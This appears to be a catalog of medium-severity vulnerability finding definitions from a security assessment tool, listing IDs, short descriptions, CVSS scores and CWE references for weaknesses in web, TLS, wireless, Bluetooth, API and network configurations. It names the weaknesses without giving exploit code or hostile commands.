A deprecated or insecure protocol version is enabled on the server. The specific protocol (e.g., SSLv3, TLSv1.0, TLSv1.1...
— CWE-327
FR-425 MEDIUM Cookie Prefix Violation: __Host-
A cookie using the __Host- prefix does not meet RFC 6265bis requirements (must have Secure flag, Path=/, no Domain attri...
4.3 CWE-614
FR-426 MEDIUM Cookie Prefix Violation: __Secure-
A cookie using the __Secure- prefix is missing the Secure flag required by RFC 6265bis.
4.3 CWE-614
FR-429 MEDIUM JavaScript Source Map Exposed
A .js.map source map file is publicly accessible, exposing the original unminified source code.
5.3 CWE-540
FR-430 MEDIUM Inline Source Map in JavaScript Bundle
A JavaScript bundle contains an inline sourceMappingURL data URI embedding the original source code.
5.3 CWE-540
FR-433 MEDIUM Potential Client-Side Prototype Pollution
JavaScript files use known prototype pollution sinks such as Object.assign, _.merge, or $.extend with user-controllable ...
6.1 CWE-1321
FR-439 MEDIUM WebSocket Missing Origin Validation
A WebSocket endpoint accepts connections from arbitrary origins without validating the Origin header.
5.3 CWE-346 CWE-1385
FR-443 MEDIUM OAuth Missing State Parameter (CSRF)
The OAuth authorization flow does not require or validate a state parameter for CSRF protection.
5.3 CWE-352
FR-447 MEDIUM MFA Missing Rate Limiting on OTP
The MFA verification endpoint does not enforce rate limiting on OTP submission attempts.
5.3 CWE-287 CWE-307
FR-449 MEDIUM GraphQL Alias-Based Batching
The GraphQL endpoint processes aliased duplicate queries in a single request, bypassing per-query rate limiting.
5.3 CWE-770
FR-450 MEDIUM GraphQL Circular Fragment Accepted
The GraphQL endpoint accepts queries with circular fragment references that could cause infinite recursion.
5.3 CWE-674
FR-452 MEDIUM GraphQL Debug Extensions Exposed
The GraphQL response includes an extensions field containing debug information.
5.3 CWE-215
FR-453 MEDIUM HTTP/2 Cleartext Upgrade (h2c) Accepted
The server or reverse proxy accepts HTTP/2 cleartext upgrade requests.
5.3 CWE-444
FR-455 MEDIUM Information Disclosure: Internal IP in HTTP Response
The HTTP response body or headers contain one or more RFC 1918 private IP addresses (10/8, 172.16/12, 192.168/16), discl...
5.3 CWE-200
FR-456 MEDIUM Application Responses Identify Valid Accounts
Login endpoint responses differ between valid and invalid usernames, allowing attackers to enumerate valid accounts thro...
5.3 CWE-204
FR-458 MEDIUM HTTP Parameter Pollution (Reflected)
Duplicate HTTP parameters are processed and reflected in responses, potentially allowing attackers to bypass input valid...
5.4 CWE-235
FR-459 MEDIUM Improper Error Handling — Server Error Exposed
Server returns HTTP 5xx error responses with detailed error information including stack traces, database errors, or debu...
5.3 CWE-209 CWE-388
FR-460 MEDIUM Insecure HTTPS to HTTP Redirect Detected
Redirect chains downgrade from HTTPS to HTTP, exposing session tokens, credentials, and sensitive data to network-level ...
5.9 CWE-319
FR-460b MEDIUM Form Submits to HTTP from HTTPS Page
Forms on HTTPS pages submit data to HTTP endpoints, exposing form data (potentially including credentials) to network in...
5.9 CWE-319
FR-470 MEDIUM Sensitive Data Exposed in HTML Comments
HTML comments in page source contain sensitive keywords such as passwords, API keys, connection strings, or tokens.
5.3 CWE-615
FR-473 MEDIUM WebDAV PROPFIND Response Discloses Server Information
The server responds to unauthenticated PROPFIND requests with WebDAV property data, disclosing file metadata and directo...
5.3 CWE-200
FR-474 MEDIUM WebDAV Methods Enabled
The web server advertises WebDAV methods (PROPFIND, MKCOL, COPY, MOVE, LOCK, UNLOCK), enabling remote file manipulation ...
5.3 CWE-16
FR-475 MEDIUM Password Reset Token Exposed in URL
Password reset functionality includes the reset token in URL query parameters, exposing it in logs, browser history, and...
5.3 CWE-598
FR-480 MEDIUM HTTP Methods: Unsafe Methods Enabled
The server advertises potentially dangerous HTTP methods (PUT, DELETE, TRACE, PATCH, WebDAV) via OPTIONS that may allow ...
5.3 CWE-16
FR-483 MEDIUM Self-Signed TLS Certificate
The server presents a self-signed TLS certificate that is not issued by a trusted Certificate Authority. Self-signed cer...
5.3 CWE-295
FR-484 MEDIUM TLS Certificate Hostname Mismatch
The TLS certificate presented by the server does not match the hostname being accessed. The certificate's Common Name (C...
5.3 CWE-295 CWE-297
FR-489 MEDIUM F5 BIG-IP Detected
The TLS certificate fingerprint identifies this host as an F5 BIG-IP appliance. F5 BIG-IP has had critical remote code e...
9.8 CWE-287 CWE-78
FR-491 MEDIUM Fortinet FortiGate Detected
The TLS certificate fingerprint identifies this host as a Fortinet appliance (FortiGate, FortiWeb, or FortiOS-based). Fo...
9.8 CWE-787 CWE-122
FR-492 MEDIUM Palo Alto Networks Detected
The TLS certificate fingerprint identifies this host as a Palo Alto Networks appliance. PAN-OS has been the target of cr...
10.0 CWE-77
FR-493 MEDIUM SonicWall Detected
The TLS certificate fingerprint identifies this host as a SonicWall appliance. SonicWall has had critical vulnerabilitie...
9.3 CWE-284
FR-494 MEDIUM Cisco ASA Detected
The TLS certificate fingerprint identifies this host as a Cisco Adaptive Security Appliance (ASA). Cisco ASA is a widely...
8.6 CWE-287
FR-495 MEDIUM VMware vSphere / ESXi Detected
The TLS certificate fingerprint identifies this host as a VMware vSphere, vCenter, or ESXi host. VMware hypervisor produ...
8.8 CWE-287
FR-496 MEDIUM Sophos Firewall Detected
The TLS certificate fingerprint identifies this host as a Sophos firewall appliance (XG Firewall, Sophos Firewall OS, or...
9.8 CWE-89 CWE-78
FR-501 MEDIUM SSTI — Template Engine Identified
SSTImap identified the template engine in use on the target application (e.g., Jinja2, Twig, Freemarker, Mako, Velocity,...
5.3 CWE-1336
FR-505 MEDIUM Web Cache Deception
toxicache detected that the web cache serves incorrect content to users due to path confusion or misconfigured caching r...
5.3 CWE-444 CWE-525
FR-507 MEDIUM Session Token Exposed in URL
Session-related parameter(s) appear in the URL query string. Tokens in URLs leak through browser history, Referer header...
5.3 CWE-598
FR-508 MEDIUM Session Token in Page Links
Page links embed session tokens in URL query parameters within href attributes, leaking tokens through Referer headers w...
5.3 CWE-598
FR-512 MEDIUM JWT Missing Expiration Claim
A JWT token has no 'exp' (expiration) claim. Without expiration, a stolen token remains valid indefinitely.
6.5 CWE-613
FR-514 MEDIUM JWT Contains Sensitive Data
A JWT payload contains sensitive fields (passwords, SSNs, credit card numbers). JWT payloads are base64url-encoded (not ...
6.5 CWE-315
FR-516 MEDIUM Session Persists After Password Change
Existing sessions remain valid after a password change. If an attacker has compromised a session, changing the password ...
5.4 CWE-613
FR-517 MEDIUM Excessive Session Cookie Lifetime
A session cookie has an excessively long lifetime (>30 days), increasing the window for session hijacking via stolen coo...
5.3 CWE-613
FR-518 MEDIUM Missing Referrer-Policy With External Links
The authenticated page contains external links but no Referrer-Policy header is set. Browsers default to sending the ful...
5.3 CWE-200
GB-BT-004 MEDIUM Static or Public Bluetooth Address — Device Trackable
The device advertises with a Public or Static-Random Bluetooth address that does not rotate, rather than a rotating Reso...
— CWE-200 CWE-359 CWE-1188
GB-BT-012 MEDIUM Bluetooth ECDH Public Key Not Validated (CVE-2018-5383)
The pairing stack does not validate the peer's ECDH public key (Y-coordinate) during Secure Simple Pairing / LE Secure C...
6.8 CWE-347 CWE-325
GB-BT-016 MEDIUM BLURtooth — Cross-Transport Key Overwrite (CVE-2020-15802)
In dual-mode devices supporting Cross-Transport Key Derivation (spec 4.2/5.0 before 5.1), an unauthenticated attacker in...
— CWE-287
GB-BT-026 MEDIUM BlueSmack / L2CAP Echo Denial of Service
The device degraded or reset under a bounded L2CAP echo / l2ping flood (BlueSmack), indicating it does not bound or rate...
— CWE-400 CWE-770
GB-BT-027 MEDIUM Bluetooth Connection Exhaustion / l2ping Flood
Rapid L2CAP/ACL connection opens or a sustained l2ping flood exhausted the device's connection slots, causing it to refu...
— CWE-400 CWE-770
GB-CONF-002 MEDIUM Plaintext Protocol in Boot Traffic
Traffic captured during device boot revealed cleartext protocols (Telnet, HTTP, FTP, TFTP) carrying potentially sensitiv...
— —
GB-CONF-003 MEDIUM Plaintext Protocol in Shutdown Traffic
Traffic captured during device shutdown contained plaintext protocol traffic, potentially including final state synchron...
— —
GB-HW-001 MEDIUM HDMI CEC Command Injection Accepted
Injected HDMI CEC commands were accepted and processed. An attacker with HDMI port access can issue remote control comma...
— —
GB-HW-002 MEDIUM HDMI HDCP Not Enforced
HDCP content protection is not enforced on the HDMI interface. Video/audio streams can be captured in cleartext.
— —
GB-HW-003 MEDIUM HDMI DDC-CI Unauthorised Control
DDC-CI commands accepted over HDMI allow monitor control (brightness, OSD) without physical interaction with the display...
— —
GB-HW-006 MEDIUM DDC/CI Display Control Channel Accessible
The DDC/CI (Display Data Channel Command Interface) channel over HDMI or DisplayPort is accessible and accepts control c...
— —
GB-LORA-008 MEDIUM LoRaWAN Cleartext Application Payload
The captured FRMPayload decodes to printable/structured data and the application relies solely on LoRaWAN's session-key ...
5.3 CWE-311 CWE-319
GB-LORA-009 MEDIUM LoRaWAN 1.0.x — No Join-Request Replay Protection
The network operates LoRaWAN 1.0.x, in which Join-Request messages carry no replay protection prior to the 1.1 monotonic...
5.3 CWE-294 CWE-330
GB-NET-005 MEDIUM Deprecated or Weak Protocol in Use
A deprecated or inherently weak network protocol was identified (e.g., RPC portmapper, rsh, rlogin, finger, X11 without ...
— —
GB-NET-011 MEDIUM Unencrypted Protocol Detected
A network service communicating over a cleartext protocol was identified, including one or more of: FTP (21), Telnet (23...
— —
GB-RF-002 MEDIUM Unencrypted Sub-GHz Telemetry Decoded
rtl_433 decoded the device's sub-GHz sensor/telemetry frames in the clear, recovering payload fields with no key, which ...
5.9 CWE-319
GB-RF-007 MEDIUM Missing Message Authentication on Sub-GHz Link
No message-integrity or authentication field (MAC/signature) was observed on the device's sub-GHz frames, so their conte...
5.3 CWE-345 CWE-347
GB-RF-008 MEDIUM Sub-GHz Jamming Susceptibility
Under a controlled, operator-observed bench test the device's sub-GHz link was disrupted by narrowband jamming, denying ...
5.3 CWE-400 CWE-1188
GB-SC-008 MEDIUM Cleartext Data Object Readable on Smart Card
Data read from the card without authentication contains cleartext printable strings (asset, holder, or configuration inf...
5.3 CWE-312 CWE-311
GB-SC-010 MEDIUM Insecure GlobalPlatform Card Lifecycle State
The GlobalPlatform card lifecycle state is OP_READY or INITIALIZED rather than SECURED, meaning the card manager was nev...
5.9 CWE-1188 CWE-16
GB-SC-011 MEDIUM No Secure Messaging — Cleartext APDU Channel
The card returned sensitive file data over a cleartext (plain) APDU channel with no secure messaging (C-MAC/C-ENC) appli...
4.6 CWE-319 CWE-311
GB-SSH-001 MEDIUM SSH Weak Configuration (Ciphers / Legacy Protocol / Credential Auth)
The SSH service is configured with one or more weaknesses including weak ciphers/MACs, SSHv1 support, permitted root log...
— —
GB-SSH-003 MEDIUM SSH Weak Configuration (Ciphers / Legacy Protocol / Credential Auth)
The SSH service is configured with one or more weaknesses including weak ciphers/MACs, SSHv1 support, permitted root log...
— —
GB-SSH-004 MEDIUM SSH Weak Configuration (Ciphers / Legacy Protocol / Credential Auth)
The SSH service is configured with one or more weaknesses including weak ciphers/MACs, SSHv1 support, permitted root log...
— —
GB-SSH-005 MEDIUM SSH Weak Configuration (Ciphers / Legacy Protocol / Credential Auth)
The SSH service is configured with one or more weaknesses including weak ciphers/MACs, SSHv1 support, permitted root log...
— —
GB-SSH-007 MEDIUM SSH Password-Only Authentication (No Public Key)
The SSH server accepts only password-based authentication methods (password and/or keyboard-interactive) with no public ...
5.3 CWE-307 CWE-521 CWE-287
GB-TLS-002 MEDIUM SSL/TLS Certificate: Self-Signed
The server presented a self-signed TLS certificate that is not anchored to a publicly trusted CA, preventing clients fro...
— —
GB-TLS-004 MEDIUM SSL/TLS — Weak Cipher Suite Accepted
The TLS server accepts cipher suites providing less than 128-bit security, null encryption, or anonymous key exchange.
— —
GB-TLS-005 MEDIUM SSL/TLS — CRIME / BEAST / LUCKY13 Vulnerability
The TLS configuration is susceptible to a compression-based oracle (CRIME), cipher-block chaining attack (BEAST), or tim...
— —
GB-TLS-007 MEDIUM SSL/TLS — Weak Certificate Signature Algorithm
The TLS certificate is signed with a deprecated algorithm such as MD5 or SHA-1. These algorithms are vulnerable to colli...
— —
GB-TLS-008 MEDIUM SSL/TLS — Certificate Hostname Mismatch
The Common Name or Subject Alternative Names in the TLS certificate do not match the host being connected to. Clients wi...
— —
GB-TLS-009 MEDIUM SSL/TLS Vulnerability: BEAST
The TLS server accepts TLS 1.0 connections using CBC (Cipher Block Chaining) cipher suites, making it susceptible to the...
— —
GB-TLS-010 MEDIUM SSL/TLS Vulnerability: LUCKY13
The TLS configuration accepts CBC cipher suites that are vulnerable to the LUCKY13 timing side-channel attack. LUCKY13 e...
— —
GB-TLS-011 MEDIUM SSL/TLS Vulnerability: SWEET32
The TLS server negotiates cipher suites using 64-bit block ciphers such as 3DES (Triple-DES) or Blowfish, making it vuln...
— —
GB-USB-003 MEDIUM USB Abnormal Power Draw
Abnormal USB power characteristics were detected, potentially indicating a rogue charging cable or peripheral with embed...
— —
GB-UWB-008 MEDIUM Cleartext UWB Positioning or Payload Data
Positioning data (measured distance/coordinates) or a MAC-layer payload was observed in the clear in the UWB capture, wi...
5.3 CWE-319 CWE-359
GB-UWB-009 MEDIUM UWB Static or Non-Rotating Ranging Key (STS Reuse)
STS is present but appears to be derived from a static or reused seed/key rather than rotated per ranging session (obser...
5.9 CWE-323 CWE-330
GB-UWB-010 MEDIUM UWB Ranging Susceptible to Jamming / Denial of Service
Under a co-channel UWB jammer (UWBAD-class attack with COTS chips) the DUT's ranging was denied, confirming a denial-of-...
5.3 CWE-400 CWE-1188
GB-UWB-011 MEDIUM UWB Legacy (Pre-802.15.4z) Ranging — No Secure Ranging Support
The device supports only pre-802.15.4z (802.15.4a HRP) ranging, which has no secure-ranging (STS) capability at all and ...
— CWE-326 CWE-757
GB-UWB-012 MEDIUM UWB Device Trackable via Static Address in Blink Frames
UWB blink/ranging frames broadcast a stable device address (EUI-64 or fixed 16-bit short address) in every transmission,...
4.3 CWE-359 CWE-200
GB-VULN-003 MEDIUM Nessus Medium Vulnerability
Nessus Professional identified a medium severity vulnerability (CVSS 4.0–6.9). May require special conditions to exploit...
— —
GB-VULN-009 MEDIUM Nuclei Template Match — Misconfiguration
Nuclei identified a security misconfiguration (exposed admin panel, default path, misconfigured CORS, insecure HTTP meth...
— —
GB-WEB-002 MEDIUM Directory Listing Enabled
The web server is configured to display a browsable directory index, exposing file structure and potentially sensitive f...
— —
GB-WEB-005 MEDIUM Web — HTTP Exposed (No HTTPS Redirect)
The web application is accessible over plaintext HTTP and does not redirect to HTTPS. Credentials and session tokens tra...
— —
GB-WEB-006 MEDIUM Web — Insecure Cookie Attributes
Session or authentication cookies are missing the Secure, HttpOnly, or SameSite attributes. This exposes them to theft v...
— —
GB-WIFI-004 MEDIUM WPA/WPA2-PSK Handshake Capturable
The WPA/WPA2-PSK 4-way EAPOL handshake was captured (passively, or after a bounded deauth), providing a verifiable offli...
5.9 CWE-294 CWE-326
GB-WIFI-005 MEDIUM WPA PMKID Capturable (Clientless)
An RSN PMKID was solicited and captured from the AP with a single association request and no connected client (hcxdumpto...
5.9 CWE-294 CWE-326
GB-WIFI-006 MEDIUM WPS Enabled
The access point advertises Wi-Fi Protected Setup. The 8-digit registrar PIN is validated in two independently-checkable...
6.5 CWE-1391 CWE-307
GB-WIFI-008 MEDIUM Missing 802.11w Management Frame Protection
The network does not require 802.11w Management Frame Protection (the MFPR bit is clear in the RSN capabilities), so dea...
6.5 CWE-940 CWE-1188 CWE-345
GB-WIFI-009 MEDIUM WPA3 Transition Mode Downgrade
The AP advertises WPA3 in transition (mixed) mode, offering both SAE (WPA3) and PSK (WPA2) AKM suites on the same SSID.
5.9 CWE-757 CWE-326
GB-WIFI-011 MEDIUM Wi-Fi Deauthentication Denial of Service
A bounded burst of forged deauthentication/disassociation frames disconnected the device under test from its network, co...
6.5 CWE-400 CWE-940
GB-ZIGBEE-002 MEDIUM Zigbee Flooding / Denial of Service
The Zigbee network showed signs of packet flooding tolerance (or lack thereof). Injection of excessive frames caused deg...
— —
GB-ZW-004 MEDIUM Z-Wave S0 Legacy Security Class in Use
The network uses the legacy S0 Security command class (CC 0x98), which relies on AES-OFB/CBC-MAC with a network key exch...
5.9 CWE-327 CWE-294
GB-ZW-009 MEDIUM Z-Wave S0 NonceGet Denial-of-Service Exposure
The Z-Wave gateway accepts unauthenticated S0 NonceGet requests, allowing an attacker to flood NonceGet frames (the 'S0-...
6.5 CWE-400 CWE-770
IS-002 MEDIUM Encrypted file detected
A file exhibits very high Shannon entropy (>7.99 out of 8.0), strongly indicating encryption. The encryption method is e...
5.3 —
IS-005 MEDIUM Packed/obfuscated executable detected ({packers})
An executable file contains signatures of known packers (UPX, Themida, ASPack, PECompact, Petite, NsPack, MEW, MPRESS). ...
6.1 CWE-506
OSIFT-003 MEDIUM Open Port Identified on Subdomain
A non-standard or sensitive port (e.g., 8080, 8443, 9200, 27017, 3306) was found open on a subdomain via naabu port scan...
5.3 —
OSIFT-006 MEDIUM SSL/TLS Certificate Misconfiguration
A certificate was found with a misconfiguration: hostname mismatch, self-signed cert on a public host, wildcard overuse,...
5.9 —
OSIFT-007 MEDIUM DNS Misconfiguration
A DNS record anomaly was detected: dangling CNAME, multiple conflicting A records, DNSSEC misconfiguration, or inconsist...
5.3 CWE-345 CWE-924
OSIFT-008 MEDIUM SPF Record Missing
No SPF (Sender Policy Framework) TXT record was found for the target domain. Without SPF, attackers can spoof email from...
5.3 CWE-346 CWE-940
OSIFT-009 MEDIUM DMARC Record Missing
No DMARC (_dmarc.<domain> TXT) record was found. Without DMARC, there is no policy instructing receiving mail servers ho...
5.3 CWE-346 CWE-940
OSIFT-020 MEDIUM Wayback Machine URL with Sensitive Path
waybackurls or xurlfind3r discovered a historical URL containing a sensitive path (e.g., /admin, /backup, /.env, /config...
5.3 CWE-548 CWE-200
OSIFT-021 MEDIUM Shodan Exposure — Open Service
Shodan reports an open service on a target IP that is visible to the public internet. Banner data, software version, and...
5.3 —
OSIFT-032 MEDIUM Uncover / Internet-Wide Scan Engine Match
The uncover tool found the target in internet-wide scan engine results (Shodan, Censys, FOFA, Quake360, ZoomEye, Crimina...
5.3 —
OSIFT-039 MEDIUM Information Disclosure: Internal Server Directory Structure
Internal filesystem path components were found exposed in publicly accessible sources, including HTTP response bodies, e...
5.3 CWE-548 CWE-200
OSIFT-042 MEDIUM SSL/TLS Certificate: Self-Signed
A self-signed TLS certificate was identified on a publicly reachable host associated with the target organisation. Self-...
5.3 —
OSIFT-046 MEDIUM Typosquatting Domain Detected
One or more domains visually or typographically similar to the target domain were detected with active DNS resolution, i...
— —
OSIFT-056 MEDIUM GitHub Actions: Overly Permissive Permissions
gato identified a GitHub Actions workflow with overly permissive GITHUB_TOKEN permissions (such as write-all, admin, or ...
5.3 CWE-269 CWE-250
OSIFT-057 MEDIUM GitHub Actions: Self-Hosted Runner Risk
gato identified self-hosted GitHub Actions runners configured on a public repository. Self-hosted runners in public repo...
6.5 CWE-269
OSIFT-060 MEDIUM CDN/WAF Bypass: Potential Origin IP
hakoriginfinder identified an IP address that may be the origin server behind the CDN/WAF. The IP responded to HTTP requ...
5.3 CWE-693
OSIFT-063 MEDIUM Sensitive Historical URL Discovered
waymore discovered historical URLs matching security-sensitive patterns (admin, config, debug, backup, test, internal, s...
5.3 CWE-200 CWE-538
OSIFT-069 MEDIUM Document Metadata: GPS Coordinates Leaked
exiftool extracted GPS coordinates from the EXIF metadata of a publicly accessible image or document. This reveals the p...
5.3 CWE-200 CWE-359
PHX-013 MEDIUM Weak Password Policy 5.9 CWE-521
PHX-019 MEDIUM Weak TLS Configuration 5.9 CWE-326 CWE-327
PHX-020 MEDIUM SSL Certificate Expired or Self-Signed 5.4 CWE-295
PHX-021 MEDIUM Weak Cipher Suite Enabled 5.9 CWE-326 CWE-327
PHX-026 MEDIUM Verbose Error Messages Exposing Internals 5.3 CWE-209
PHX-028 MEDIUM Missing HTTP Security Headers 5.4 CWE-693
PHX-029 MEDIUM Open Port – Unnecessary Service Exposed 5.3 CWE-749
PHX-033 MEDIUM SSH Weak Configuration 5.9 CWE-326 CWE-327 CWE-732
PHX-034 MEDIUM DNS Zone Transfer Allowed 5.3 CWE-200
PHX-042 MEDIUM API Rate Limiting Absent 5.3 CWE-770
PHX-044 MEDIUM GraphQL Introspection Enabled in Production 5.3 CWE-200
PHX-045 MEDIUM SOAP Action Spoofing 5.4 CWE-20
PHX-048 MEDIUM Account Enumeration via Login Response 5.3 CWE-204
PHX-051 MEDIUM Open Redirect 6.1 CWE-20 CWE-601
PHX-052 MEDIUM Clickjacking – Missing X-Frame-Options 4.3 CWE-1021
PHX-053 MEDIUM HTTP Method Tampering 5.4 CWE-650
PHX-054 MEDIUM Missing Logging and Monitoring 5.3 CWE-778
PHX-063 MEDIUM HTTP Methods: Unsafe Methods Enabled 3.5 CWE-16
PHX-064 MEDIUM Cookie Without Secure Flag 4.3 CWE-614
PHX-065 MEDIUM Cookie Without HttpOnly Flag 4.7 CWE-1004
PHX-075 MEDIUM Credential Exposure via OSINT – LinkedIn Employee Data 5.3 CWE-200
PHX-085 MEDIUM Inadequate Input Validation – HTTP Header Injection 6.1 CWE-113
PHX-087 MEDIUM Insecure Token Storage – Tokens in localStorage 5.4 CWE-922
PHX-090 MEDIUM Weak Encryption – DES/3DES in Use 5.9 CWE-327
PHX-095 MEDIUM Improper Error Handling – Stack Trace in API Response 5.3 CWE-209
PHX-097 MEDIUM HSTS Not Enabled 4.8 CWE-523
PHX-098 MEDIUM Reflected File Download (RFD) 6.1 CWE-79 CWE-116
PHX-100 MEDIUM Unsafe Redirect After Authentication 6.1 CWE-20 CWE-601
PHX-105 MEDIUM Broken Authentication – No Credential Rotation Policy 5.9 CWE-257
PHX-109 MEDIUM HTTP Methods: Unsafe Methods Enabled 5.4 16 693
PHX-112 MEDIUM CRLF Injection 6.1 93 113
PHX-113 MEDIUM CSV / Formula Injection 5.5 1236
PHX-114 MEDIUM Log Injection 5.3 117
PHX-115 MEDIUM JSONP Endpoint Cross-Origin Data Leakage 6.5 346 200
PHX-118 MEDIUM JWT Missing Expiry Claim 5.3 613 287
PHX-119 MEDIUM Timing Attack – Non-Constant-Time Authentication 5.9 208 697
PHX-123 MEDIUM Sensitive Information in Page Source 5.3 200 615
PHX-127 MEDIUM WordPress Administrative / Sensitive Path Exposed 5.3 284 16 200
PHX-128 MEDIUM WordPress Information Disclosure 5.3 200 548
PHX-137 MEDIUM FTP Bounce Attack 5.3 CWE-441
PHX-138 MEDIUM HDMI Physical Attack Surface — CEC/DDC/EDID 5.7 CWE-306 CWE-284
PHX-149 MEDIUM SSH Weak Cryptographic Algorithms 5.9 CWE-326 CWE-327
PHX-152 MEDIUM SMTP User Enumeration via VRFY/EXPN 5.3 CWE-203
PHX-153 MEDIUM SIP User/Extension Enumeration 5.3 CWE-203
PHX-154 MEDIUM WebDAV Enabled on Web Server 6.5 CWE-434 CWE-284
PHX-155 MEDIUM JetDirect / PJL Printer Service Exposed 6.5 CWE-284 CWE-311
PHX-170 MEDIUM SSL/TLS Session and Cipher Configuration Issues 5.9 CWE-326 CWE-327
PHX-176 MEDIUM OSINT Email Address Exposure 5.3 CWE-200
PHX-178 MEDIUM Internal Server Path/Directory Structure Disclosed 5.3 CWE-548 CWE-200
PHX-181 MEDIUM MTA-STS / Email Transport Security Missing 5.9 CWE-346 CWE-940
PHX-182 MEDIUM DNSSEC Not Configured 5.9 CWE-345 CWE-924
PHX-183 MEDIUM Third-Party / Supply Chain Domain Risk 6.8 CWE-494
PHX-184 MEDIUM WSDL / SOAP Service Definition Exposed 5.3 CWE-284 CWE-200
PHX-230 MEDIUM Bluetooth SDP Service Discovery — Internal Service Disclosure 4.0 CWE-200
PHX-232 MEDIUM BLE Static MAC Address — Device Tracking and Weak Pairing 5.9 CWE-200 CWE-304
PHX-255 MEDIUM Cross-Site Scripting in RTLS Management Dashboard 6.1 CWE-79
PHX-268 MEDIUM Unencrypted Database Connection 5.9 CWE-319
PHX-269 MEDIUM Database Audit Logging Disabled 4.3 CWE-778
PHX-280 MEDIUM Database Connection Pool Credentials in Error Response 5.3 CWE-209 CWE-312
PHX-282 MEDIUM Anonymous Database Schema Browsing Permitted 5.3 CWE-284 CWE-200
PT-001 MEDIUM Hardcoded Public DNS Resolvers Bypass Enterprise Controls
Device sends DNS queries directly to public resolvers (8.8.8.8, 1.1.1.1, etc.) instead of using the DHCP-supplied resolv...
5.3 CWE-441 CWE-200
PT-005 MEDIUM DHCP Hostname Discloses Asset Identifier
The device populates DHCP option 12 (Host Name) with an asset identifier (serial number, device tag) that is broadcast o...
4.3 CWE-200 CWE-359
PT-006 MEDIUM DNS Search-Suffix Appended to Fully-Qualified Hostnames
The device's DNS client appends the DHCP-supplied search domain to hostnames that are already fully-qualified. RFC 1535 ...
6.5 CWE-345 CWE-20
PT-106 MEDIUM ARP Anomalies (Duplicate IP-to-MAC Mappings)
Duplicate ARP entries observed — one IP advertised by multiple MAC addresses. Possible legitimate HA pair, gratuitous AR...
6.5 CWE-290 CWE-300
PT-109 MEDIUM SNMPv1/v2c Community String in Cleartext
SNMP community strings (passwords) observed in plaintext. Communities like 'public' / 'private' / vendor-default values ...
5.3 CWE-319 CWE-521
PT-111 MEDIUM LDAP Bind Observed Without TLS
LDAP bind request observed in cleartext. Without LDAPS or StartTLS, the bind DN and password are exposed.
5.9 CWE-319 CWE-523
SI-030 MEDIUM API Specification Exposed
The API's OpenAPI/Swagger specification or equivalent documentation is publicly accessible without authentication (e.g.,...
5.3 —
SI-031 MEDIUM Missing Security Header: Content-Security-Policy
The API response does not include a Content-Security-Policy (CSP) header. Without CSP, the browser applies no restrictio...
5.4 —
SI-032 MEDIUM Missing Security Header: X-Frame-Options
The API response does not include an X-Frame-Options header and the Content-Security-Policy header does not include a fr...
4.3 —
SI-033 MEDIUM Missing Security Header: X-Content-Type-Options
The API response does not include an X-Content-Type-Options: nosniff header. Without this header, browsers may perform M...
4.3 —
SI-034 MEDIUM Missing Security Header: Referrer-Policy
The API response does not include a Referrer-Policy header. Without this header, the browser defaults to 'no-referrer-wh...
4.3 —
SI-035 MEDIUM Missing Security Header: Cache-Control
The API response for a sensitive or authenticated endpoint does not include a Cache-Control header. Without explicit cac...
4.3 —
SI-036 MEDIUM Missing Security Header: Permissions-Policy
The API response does not include a Permissions-Policy header (formerly Feature-Policy). Without this header, the browse...
4.3 —
SI-037 MEDIUM Missing Secure Cookie Attribute: HttpOnly
An API session or authentication cookie is set without the HttpOnly attribute. Without HttpOnly, client-side JavaScript ...
5.4 614 1004 1275
SI-038 MEDIUM Missing Secure Cookie Attribute: Secure
An API session or authentication cookie is set without the Secure attribute. Without the Secure flag, the browser will t...
5.9 614 1004 1275
SI-039 MEDIUM Rate Limit Response Missing Retry-After Header
The API returns a 429 Too Many Requests response when rate limits are exceeded, but does not include a Retry-After heade...
4.3 —
SI-040 MEDIUM CRLF Injection in API Parameter
Siphon detected that an API parameter containing CRLF sequences (\r\n, %0d%0a) is reflected in HTTP response headers wit...
5.4 —
SI-041 MEDIUM Log Injection via User-Agent / Query Parameter
Siphon detected that user-controlled input (User-Agent header or query parameters) is written to application logs withou...
4.3 —
SI-042 MEDIUM SOAP Verbose Fault / Error Disclosure
The SOAP API returns verbose fault messages that disclose internal details such as stack traces, server-side file paths,...
5.3 —
SI-043 MEDIUM GraphQL Field Suggestions Enabled
The GraphQL API returns field suggestion messages (e.g., "Did you mean 'password'?") when a queried field name is simila...
4.3 —
SI-044 MEDIUM GraphQL Error Response Leaks Internal Details
GraphQL error responses from this API expose internal implementation details including stack traces, resolver function n...
5.3 —
SI-045 MEDIUM GraphQL Directive Abuse — Accepted Without Limit
The GraphQL API accepts queries containing multiple repeated directives (e.g., @include, @skip, or custom directives) on...
5.3 —
SI-046 MEDIUM GraphQL Fragment Sprawl — No Fragment Count Limit
The GraphQL API accepts queries containing an unrestricted number of fragment definitions. An attacker can define hundre...
5.3 —
SI-047 MEDIUM JSONP Endpoint Detected — Potential Data Leakage
Siphon detected an API endpoint that supports JSONP (JSON with Padding), indicated by a callback parameter that wraps th...
5.4 —
SI-048 MEDIUM Possible Mass Assignment — Response Differs
Siphon detected that submitting additional or undocumented fields in an API request body produces a different response (...
5.4 —
SI-049 MEDIUM Possible SSRF — Delayed Response
Siphon observed a significant and consistent response delay when injecting an internal or external URL into an API param...
5.8 —
SI-050 MEDIUM JWT Uses Symmetric Algorithm (HS256)
The API issues JWTs signed with a symmetric HMAC algorithm (HS256, HS384, or HS512). Symmetric algorithms use the same s...
4.3 —
SI-054 MEDIUM Server-Timing Header Leaks Authentication Duration
The API includes a Server-Timing header in authentication responses that reveals internal timing information such as dat...
4.3 —
SI-055 MEDIUM API Returns More Fields Than Documented
The API endpoint returns more fields in its response than are documented in the API specification. The extra fields may ...
4.3 —
SI-056 MEDIUM HTTP Method Override — DELETE via POST Accepted
The API accepts HTTP method overrides via the X-HTTP-Method-Override or X-Method-Override header, allowing a POST reques...
5.4 —
SI-057 MEDIUM CSV Injection in User Export
The API's data export endpoint includes user-supplied values in CSV output without sanitization. Spreadsheet application...
5.0 —
SI-058 MEDIUM Business Flow — Numeric Field Accepts Negative/Zero Value
Siphon detected that an API endpoint accepting a numeric field (e.g., quantity, amount, price, discount) processes negat...
5.4 —
SI-075 MEDIUM GraphQL Introspection Enabled
The GraphQL API has introspection enabled, allowing unauthenticated or authenticated clients to query the complete API s...
5.3 —
SI-104 MEDIUM WSDL Enumeration — Service Definition Exposed
Siphon retrieved the WSDL (Web Services Description Language) document for the SOAP service without authentication. A WS...
5.3 CWE-284 CWE-200
SI-106 MEDIUM Unsafe API Consumption — Open Redirect to External URL
Siphon confirmed an open redirect vulnerability where a URL-type parameter accepted by the API is used to construct a re...
6.1 —
